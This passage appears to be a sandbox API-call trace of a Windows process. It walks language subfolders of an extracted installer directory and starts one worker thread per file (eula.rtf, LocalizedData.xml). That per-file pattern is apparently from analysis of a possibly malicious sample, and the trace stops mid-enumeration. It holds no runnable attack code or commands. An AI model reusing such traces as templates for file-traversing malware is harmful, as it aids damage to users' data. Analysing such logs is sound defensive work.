	[0073.394] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.394] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x47307e0
	[0073.394] wcscpy (in: _Dest=0x47307e0, _Source="C:\\588bce7c90097ed212\\1043" | out: _Dest="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043"
	[0073.394] wcscat (in: _Dest=0x47307e0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\"
	[0073.394] wcscat (in: _Dest=0x47307e0, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf"
	[0073.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47307e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8
	[0073.395] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.395] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.395] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.395] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d79d60
	[0073.395] wcscpy (in: _Dest=0x2d79d60, _Source="C:\\588bce7c90097ed212\\1043" | out: _Dest="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043"
	[0073.395] wcscat (in: _Dest=0x2d79d60, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\"
	[0073.395] wcscat (in: _Dest=0x2d79d60, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml"
	[0073.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d79d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc
	[0073.395] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.395] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.395] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.395] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.396] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.396] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.396] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.396] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71440) returned 1

Thread:
	id = 57
	os_tid = 0xf38

	[0073.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.397] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1044" | out: _Dest="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044"
	[0073.397] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\"
	[0073.397] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1044\\*") returned="C:\\588bce7c90097ed212\\1044\\*"
	[0073.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.397] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.397] wcscmp (_String1=".", _String2=".") returned 0
	[0073.397] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.397] wcscmp (_String1="..", _String2=".") returned 1
	[0073.397] wcscmp (_String1="..", _String2="..") returned 0
	[0073.398] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.398] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.398] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730830
	[0073.398] wcscpy (in: _Dest=0x4730830, _Source="C:\\588bce7c90097ed212\\1044" | out: _Dest="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044"
	[0073.398] wcscat (in: _Dest=0x4730830, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\"
	[0073.398] wcscat (in: _Dest=0x4730830, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf"
	[0073.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600
	[0073.398] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.398] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.398] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d79dc8
	[0073.398] wcscpy (in: _Dest=0x2d79dc8, _Source="C:\\588bce7c90097ed212\\1044" | out: _Dest="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044"
	[0073.399] wcscat (in: _Dest=0x2d79dc8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\"
	[0073.399] wcscat (in: _Dest=0x2d79dc8, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml"
	[0073.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d79dc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604
	[0073.399] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.399] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.399] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.399] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.399] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.399] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.399] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.399] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d712c0) returned 1

Thread:
	id = 58
	os_tid = 0xf40

	[0073.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.400] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1045" | out: _Dest="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045"
	[0073.400] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\"
	[0073.400] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1045\\*") returned="C:\\588bce7c90097ed212\\1045\\*"
	[0073.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.400] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.401] wcscmp (_String1=".", _String2=".") returned 0
	[0073.401] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.401] wcscmp (_String1="..", _String2=".") returned 1
	[0073.401] wcscmp (_String1="..", _String2="..") returned 0
	[0073.401] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.401] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.401] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730880
	[0073.401] wcscpy (in: _Dest=0x4730880, _Source="C:\\588bce7c90097ed212\\1045" | out: _Dest="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045"
	[0073.401] wcscat (in: _Dest=0x4730880, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\"
	[0073.402] wcscat (in: _Dest=0x4730880, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf"
	[0073.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608
	[0073.402] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.402] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.402] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733ee8
	[0073.402] wcscpy (in: _Dest=0x4733ee8, _Source="C:\\588bce7c90097ed212\\1045" | out: _Dest="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045"
	[0073.402] wcscat (in: _Dest=0x4733ee8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\"
	[0073.402] wcscat (in: _Dest=0x4733ee8, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml"
	[0073.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4733ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c
	[0073.403] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.403] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.403] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.403] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.403] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71340) returned 1

Thread:
	id = 59
	os_tid = 0x1324

	[0073.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.404] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1046" | out: _Dest="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046"
	[0073.404] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\"
	[0073.404] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1046\\*") returned="C:\\588bce7c90097ed212\\1046\\*"
	[0073.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.404] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.405] wcscmp (_String1=".", _String2=".") returned 0
	[0073.405] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.405] wcscmp (_String1="..", _String2=".") returned 1
	[0073.405] wcscmp (_String1="..", _String2="..") returned 0
	[0073.405] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.405] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.405] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x47308d0
	[0073.405] wcscpy (in: _Dest=0x47308d0, _Source="C:\\588bce7c90097ed212\\1046" | out: _Dest="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046"
	[0073.405] wcscat (in: _Dest=0x47308d0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\"
	[0073.405] wcscat (in: _Dest=0x47308d0, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf"
	[0073.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47308d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610
	[0073.406] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.406] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.406] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47334c0
	[0073.406] wcscpy (in: _Dest=0x47334c0, _Source="C:\\588bce7c90097ed212\\1046" | out: _Dest="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046"
	[0073.406] wcscat (in: _Dest=0x47334c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\"
	[0073.406] wcscat (in: _Dest=0x47334c0, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml"
	[0073.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47334c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614
	[0073.407] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.407] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.407] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.407] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.407] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.407] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.407] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.407] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71480) returned 1

Thread:
	id = 60
	os_tid = 0x1334

	[0073.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.408] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1049" | out: _Dest="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049"
	[0073.408] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\"
	[0073.408] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1049\\*") returned="C:\\588bce7c90097ed212\\1049\\*"
	[0073.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.408] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.408] wcscmp (_String1=".", _String2=".") returned 0
